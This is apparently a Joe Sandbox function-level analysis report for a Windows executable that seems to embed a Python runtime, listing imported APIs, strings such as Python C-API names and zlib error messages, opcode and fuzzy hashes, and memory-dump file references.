GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF059D7

Strings

PyObject_CallFunction, xrefs: 00007FF6BAF05CF7, 00007FF6BAF05D19
PyErr_Occurred, xrefs: 00007FF6BAF05B2B, 00007FF6BAF05B4D
PyConfig_SetWideStringList, xrefs: 00007FF6BAF05A73, 00007FF6BAF05A95
PyErr_Print, xrefs: 00007FF6BAF05B59, 00007FF6BAF05B7B
Py_PreInitialize, xrefs: 00007FF6BAF0595F, 00007FF6BAF05981
PyErr_Fetch, xrefs: 00007FF6BAF05ACF, 00007FF6BAF05AF1
PyRun_SimpleStringFlags, xrefs: 00007FF6BAF05E0B, 00007FF6BAF05E2D
PyConfig_SetBytesString, xrefs: 00007FF6BAF05A17, 00007FF6BAF05A39
PyErr_Clear, xrefs: 00007FF6BAF05AA1, 00007FF6BAF05AC3
PyModule_GetDict, xrefs: 00007FF6BAF05CC9, 00007FF6BAF05CEB
Py_Finalize, xrefs: 00007FF6BAF058D5, 00007FF6BAF058F7
PyUnicode_FromFormat, xrefs: 00007FF6BAF05F4D, 00007FF6BAF05F6F
PyConfig_Read, xrefs: 00007FF6BAF059E9, 00007FF6BAF05A0B
PyImport_AddModule, xrefs: 00007FF6BAF05BE3, 00007FF6BAF05C05
Py_ExitStatusException, xrefs: 00007FF6BAF058AA, 00007FF6BAF058CC
PyObject_GetAttrString, xrefs: 00007FF6BAF05D53, 00007FF6BAF05D75
PyEval_EvalCode, xrefs: 00007FF6BAF05BB5, 00007FF6BAF05BD7
Py_IsInitialized, xrefs: 00007FF6BAF05931, 00007FF6BAF05953
PyErr_Restore, xrefs: 00007FF6BAF05B87, 00007FF6BAF05BA9
PyUnicode_Join, xrefs: 00007FF6BAF05FA9, 00007FF6BAF05FCB
PyImport_ExecCodeModule, xrefs: 00007FF6BAF05C11, 00007FF6BAF05C33
PyUnicode_AsUTF8, xrefs: 00007FF6BAF05EC3, 00007FF6BAF05EE5
PySys_GetObject, xrefs: 00007FF6BAF05E67, 00007FF6BAF05E89
PyObject_Str, xrefs: 00007FF6BAF05DAF, 00007FF6BAF05DD1
PyObject_CallFunctionObjArgs, xrefs: 00007FF6BAF05D25, 00007FF6BAF05D47
PyStatus_Exception, xrefs: 00007FF6BAF05E39, 00007FF6BAF05E5B
PyUnicode_Decode, xrefs: 00007FF6BAF05EF1, 00007FF6BAF05F13
GetProcAddress, xrefs: 00007FF6BAF05868
PyObject_SetAttrString, xrefs: 00007FF6BAF05D81, 00007FF6BAF05DA3
PyErr_NormalizeException, xrefs: 00007FF6BAF05AFD, 00007FF6BAF05B1F
PyConfig_InitIsolatedConfig, xrefs: 00007FF6BAF059BB, 00007FF6BAF059DD
PyConfig_SetString, xrefs: 00007FF6BAF05A45, 00007FF6BAF05A67
Py_DecRef, xrefs: 00007FF6BAF05836, 00007FF6BAF05858
Py_DecodeLocale, xrefs: 00007FF6BAF0587F, 00007FF6BAF058A1
PyConfig_Clear, xrefs: 00007FF6BAF0598D, 00007FF6BAF059AF
Py_InitializeFromConfig, xrefs: 00007FF6BAF05903, 00007FF6BAF05925
PySys_SetObject, xrefs: 00007FF6BAF05E95, 00007FF6BAF05EB7
PyUnicode_Replace, xrefs: 00007FF6BAF05FD7, 00007FF6BAF05FF9
Failed to get address for %hs, xrefs: 00007FF6BAF05861
PyUnicode_FromString, xrefs: 00007FF6BAF05F7B, 00007FF6BAF05F9D
PyMarshal_ReadObjectFromString, xrefs: 00007FF6BAF05C6D, 00007FF6BAF05C8F
PyUnicode_DecodeFSDefault, xrefs: 00007FF6BAF05F1F, 00007FF6BAF05F41
PyImport_ImportModule, xrefs: 00007FF6BAF05C3F, 00007FF6BAF05C61
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6BAF05DDD, 00007FF6BAF05DFF
PyMem_RawFree, xrefs: 00007FF6BAF05C9B, 00007FF6BAF05CBD

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 69e12b3b4f6f68abfe1d9f0331703c6bbbf8c214abffc5a442d7c2b2f73d6cda
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 1522A174A4DB8791FA66DF5DA8105F523A8EF04783F5490BAEF1E83260EF7CB1498244

Function 00007FF6BAF240AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6BAF240FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF24766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF248DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF24B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF24DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF24FF7
memcpy_s.LIBCPMT ref: 00007FF6BAF250D2
memcpy_s.LIBCPMT ref: 00007FF6BAF2517D
memcpy_s.LIBCPMT ref: 00007FF6BAF2524C

Strings

1#INF, xrefs: 00007FF6BAF24223
1#SNAN, xrefs: 00007FF6BAF2420A
1#IND, xrefs: 00007FF6BAF241E7
1#QNAN, xrefs: 00007FF6BAF24213

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: beacc77034d703057b7a458823e3dab67b0e8855905678e12868c2619206cf0c
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 69B2B072E183D28BE7358E68D4407FD77A9FB5438AF505175EF0A97A88DF78A9008B40

Function 00007FF6BAF0ACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid literal/lengths set, xrefs: 00007FF6BAF0B133
invalid bit length repeat, xrefs: 00007FF6BAF0B099
too many length or distance symbols, xrefs: 00007FF6BAF0AE46
invalid distance code, xrefs: 00007FF6BAF0B5B4
invalid code -- missing end-of-block, xrefs: 00007FF6BAF0B0C6
invalid distance too far back, xrefs: 00007FF6BAF0B670
invalid code lengths set, xrefs: 00007FF6BAF0AE2D
invalid literal/length code, xrefs: 00007FF6BAF0B3E2
invalid distances set, xrefs: 00007FF6BAF0B1A0

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction ID: e4adb8b8695e4e90db2e41a37db5b011a97963213f8a8722cf5cdc24f9ccc1f2
Opcode Fuzzy Hash: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction Fuzzy Hash: FE52C472A146A68BD7B49F18D458BBE3BEEEB44341F414179EB8A87780DF38D944CB40

Function 00007FF6BAF0D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6BAF0D148
RtlCaptureContext.KERNEL32 ref: 00007FF6BAF0D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6BAF0D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6BAF0D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF6BAF0D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6BAF0D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6BAF0D24C

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 9557b0710e07aa17b6a319beda626f8172d7f6664dfda7bdbe65b53599e78ef4
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: A0313E72608B858AEB609F64E8803EE7368FB94745F44407ADF4E87B98DF38D548C710

Function 00007FF6BAF1A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6BAF1A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6BAF1A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6BAF1A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF6BAF1A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6BAF1A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6BAF1A72E

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: b29d7ac890d10e914b7b2e47b7fc4bdfb2f75b8159df009db8c7ae3a51e37c51
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 59315D36608B8186EB609F29E8402EE73A8FB88795F540139EF9D83B94DF38D155CB00

Function 00007FF6BAF21874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF218C0
FindFirstFileExW.KERNEL32 ref: 00007FF6BAF219CA

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: fcd6828504d021825e5897842c4e5f6630c8db7d0cb4133f46ec6bd21f6d3eee
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: B8B1D272B187D241EA619F2A95002F963A8EF84BE5F444172FF4D87B85EE3CE441C708

Function 00007FF6BAF0D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6BAF0D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF6BAF0D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF6BAF0D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF6BAF0D066

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 7600bdc8c445d9b5b4a7b9c4bb2e74d3f30c7b52d995860411530aa737013ad7
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 81111522B14B068AEB108F68E8542B933A8FB59759F440E35EF6D877A4DF78E1588340

Function 00007FF6BAF23C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF6BAF23C76
memcpy_s.LIBCPMT ref: 00007FF6BAF23CA1

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 9bb8a34051e1b327205860ee1c11884f51007c54a2b73928963b3136350589ec
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: ABC1D2B2B187C687E724CF19A0446AAB7A5F784B85F458235EF4A83784DF3DE845CB40

Function 00007FF6BAF0A474 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6BAF0A55B
header crc mismatch, xrefs: 00007FF6BAF0A921
unknown header flags set, xrefs: 00007FF6BAF0A4C5

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction ID: bb7e63dbb61ef5ad155660353c3c1f7128a1d1484951e9bbb955f8e03e7790c2
Opcode Fuzzy Hash: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction Fuzzy Hash: 95F17D72A182D58AE7B5AF188088BBA3BEDEF44745F0645B8DF4987390DF38E941C740

Function 00007FF6BAF29728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6BAF29977
RaiseException.KERNEL32 ref: 00007FF6BAF29988

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 4ff7c371a12689536fb483e14a7bd2f56eae2bd7a75c9afb09e2a288352986a6
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: 4EB13873A04B898AEB15CF2DC8863AC3BA4F744B89F188961EB5D837A4CF39D451C700

Function 00007FF6BAF139A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6BAF13D54
, xrefs: 00007FF6BAF13B12

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: d7869fa1cfb0f06856732ac7607a3550c0bf19cd96b9f743ad49d020cbf91cc0
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: FCE1B2B6A0866685EBA8CE2D80501BD33A8FF45B4AF1443B5DF4E87794DF39E852C700

Function 00007FF6BAF0A2DB Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF6BAF0A45B
invalid window size, xrefs: 00007FF6BAF0A442

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction ID: 9be5d0af96e46ebdaa6279de37ff2199b09a2747a8dbaa1489f5f7802e0acdcf
Opcode Fuzzy Hash: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction Fuzzy Hash: 39917472A1828687E7B49E18D448BBE3BADFB44395F114179DF4A87790DF38E541CB40

Function 00007FF6BAF1DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF6BAF1E07A
e+000, xrefs: 00007FF6BAF1DFFD

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: b753c50e70cd5e1ea1d9261e71863d2ed67a6688272b62cd9c551465e7b2e376
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 7F5178A2B182E586E7258E39D8007B9BB9AE744B95F488271CF9C87AC5CE3DD140C701

Function 00007FF6BAF1DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6BAF1DD9E

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: fb48d196a4a88b5d20f7385c326c2f37e1ad7f7138858896db49f9e6ee5917ba
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 1BA147A2B087DA46EB21CF29A4407F97BA9EB51B84F048571DF8D87785DE3DE402C700

Function 00007FF6BAF18794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF6BAF187B3

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
